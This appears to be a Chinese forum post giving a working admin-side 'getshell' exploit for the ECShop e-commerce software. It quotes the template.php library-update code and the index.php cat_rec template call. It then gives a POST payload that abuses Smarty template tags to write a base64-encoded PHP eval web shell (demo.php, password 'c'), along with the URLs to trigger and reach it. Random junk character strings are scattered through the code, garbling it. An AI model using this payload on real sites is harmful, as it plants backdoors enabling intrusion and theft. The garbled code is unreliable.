Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
2 F$ {1 B6 j" R; m- Q
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
3 h5 o% }* w& T9 vadmin/template.php
" K8 Y3 t; Q. f9 K
1 if ($_REQUEST['act'] == 'update_library')

2   
) o8 B2 O( N  Z# y
4 Y' U' e  H4 Y: m3 {
0 m4 E% Y9 C9 N! W  G
4     check_authz_json('library_manage');

2 ~4 l+ ~$ ]3 L4 p1 I5   
! j$ H" I6 T0 \- y/ K7 O$ e4 V
" K+ Q2 n5 f5 \: Q7 c! ]1 b3 K6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

' R2 c2 ^9 u7 x8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 e! ~, x; c& ?1 G! S
) J8 h1 V) L& s' H" N) w# t9   
  X' J( G# X6 {
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

! Z3 X7 }/ t% i  |" L- N4 C7 n11   
) |7 Z$ V" y7 Q6 b
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
9 q+ A  Y! k: o4 Z2 Q
) }: s5 f  A$ q' u3 F3 g( J, b0 \13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: f# N1 p' i5 `
' \/ i) F: U4 h7 H: A- I/ A15     {

. ]' y. D- G; G, q1 o16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);
+ q: P/ v9 {2 N, v: Q/ O0 @/ c
18     }
1 Z+ `& O; D; j) y) k2 ~/ a
19     else
1 I/ @! a9 a- a0 s
' k  d* A/ f( W! u7 d20     {
$ }/ A. l, c4 d  }6 k( I
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }

那么找个比较方便调用了模板的文件
index.php
( y+ h! Z, B2 Y8 `# n; k3 ?0 n% B
4 Q" M. A/ Z/ H9 E: O  n: D$ W1 if ($act == 'cat_rec')

9 Q$ Y  T' R9 H2   

3 {

: r; ?) a& c' G$ n4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
5 U- j& i6 k# ^- Z; ]" L2 d# z# E
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 V' D$ ]( U: m3 f' T
$ K* y& a5 R2 o; g# ?$ c: `6 o& H8   

" O5 e& q8 O, |% u9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
# j1 I! x5 L- t  A: a" W
11     include_once('includes/cls_json.php');

12   
8 b) z: j. T7 S( f0 o
13     $json = new JSON;

14   
7 n+ |0 H! T! F% H& {, |5 n; n
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

  Z% n0 k" o7 `6 N4 c# `) C1 |$ Z16   
, E: W: Z4 E4 V  V. F( R) V* f6 I& \
. i% {6 s9 l, \2 k: u17     $children = get_children($cat_id);
0 T! T% S! b/ ^
18   
# t6 O# ]1 b) a/ W3 Q! v! E, s/ B
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
  }  x3 b9 M; m9 S! u7 [
; K: [7 F  Z$ O: P. K- }5 [20   

5 L2 _) I9 t6 |5 ?! y21     $smarty->assign('cat_rec_sign', 1);

22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
# a  j- k+ r* [4 c# B' m7 O$ B
24   
) u# x5 w( b( [; B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   

: x. b/ w% u6 I" X  N29     die($json->encode($result));

2 ?+ }  b  `9 S  W  n2 K& O+ q30   
! n# p  ^8 c: C3 Q; r
' d0 t& s  A# b( ~  P5 I$ ]8 f0 V. F31 }

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

0 g6 ?9 q, O& z​
+ k' x& \  q* w- S4 L: Y6 c1 u7 N7 X: Z1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& _! X0 U( Y1 R$ @% H7 O
) e; P/ Y2 u( g( N# W然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
( B+ q: l# u# L' Z' n1 Q) T$ [密码c

: E5 q: o: Z' x0 d